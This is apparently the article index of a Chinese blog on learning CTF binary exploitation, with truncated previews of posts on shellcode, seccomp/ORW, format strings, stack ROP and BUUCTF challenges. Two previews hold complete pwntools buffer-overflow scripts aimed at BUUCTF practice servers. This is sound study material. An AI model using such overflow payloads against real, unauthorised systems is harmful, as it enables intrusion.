文章列表
summer2024_机器码
# shellcode5 #include <string.h> #include <stdio.h> #include <stdlib.h> #include <inttypes.h> #include <capstone/capstone.h> #include <sys/mman.h> int upkeep() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout,...
more...summer2024_orw
妈呀普天同庆,终于过了啊啊啊啊啊【尖叫】【阴暗爬行】 # orw 原理 就是有两个函数可以控制函数禁用 prtcl () 和 seccomp () # prctl #include <sys/prctl.h>int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);// 主要关注 prctl () 函数的第一个参数,也就是 option, 设定的 option 的值的不同导致黑名单不同,介绍 2 个比较重要的 option//...
more...格式化字符串(summer2024_fmt)
# 参考博客 [参考博客]: https://blog.csdn.net/ysy___ysy/article/details/135700140 [参考博客]:...
more...BUU_ciscn_2019_c_1
# ciscn_2019_c_1 先查看保护机制,64 位开了 NX 保护 发现应该是用不了 ret2syscall 的 v4 是格式化输入的,不存在溢出 55 v4!=2 退出里面的小循环,=1 进入 encrypt () 函数 看到 s 和 gets (), 填充为 0x50+8 发现 puts ()->re2libc 然后程序有一个死循环 if ( v0 >= strlen(s) ) break; 让 s 第一个字符是‘\0’退出循环 offset=0x50+8-1 exp afrom pwn import *from...
more...BUU_jarvisoj_level0
# jarvisoj_level0 from pwn import * p = remote('node5.buuoj.cn',27244) payload=b'a'*(0x80+8)+p64(0x40059A) p.sendline(payload) p.interactive()
more...BUU_ciscn_2019_n_1
# ciscn_2019_n_1 覆盖 v1->system 地址 from pwn import *p = remote('node5.buuoj.cn',25432)payload=b'a'*(0x30+8)+p64(0x4006BE)p.sendline(payload)p.interactive()
more...CTF_pwn_栈ROP
# 栈溢出原理 先把基本栈溢出原理说清楚,上图可能不太清晰。 自己的话讲就是函数 A 原本 rbp 和 rsp,call 调用函数 B 后,rbp 上去变成 rsp, 原本的 rsp 随着函数 B 各种参数,寄存器 balabala 继续往栈顶生长。调用 B 完再逆操作,回到函数 A,rbp 回到函数 A 的返回地址,rsp 回到函数 B 底部,leave 之后 ret 进入 A 所以!!我们怎么利用呢 距离 rbp 在调用完函数 B 回到函数 A 时,我们已经把函数 B 溢出点距离 rbp 的内容填满,加上目标地址,最后回到函数 A 过程中,rbp 就在目标地址那 通俗:溢出点距离 rbp...
more...pwn前置知识
既然是记录学习历程,我觉得还是从头开始吧 我刚开始学的时候就苦于找不到学习资源,找到了又看不懂的崩溃处境 好吧,是我不会科学上网 + 本人又菜又摆的缘故 一般是从比赛官方下载附件 下载到虚拟机 打开terminal——checksec 查看保护机制 (拖进IDA/利用GDB,然后......此处省略脑子) 编写脚本(用python) 运行exp.py—>ls—>cat flag# Linux 系统命令(在虚拟机中使用) nc——远端 ls——查看目录下文件 cat flag——获得flag cd——打开文件 touch 文件名——创建文件 vim——编辑 chmod +x...
more...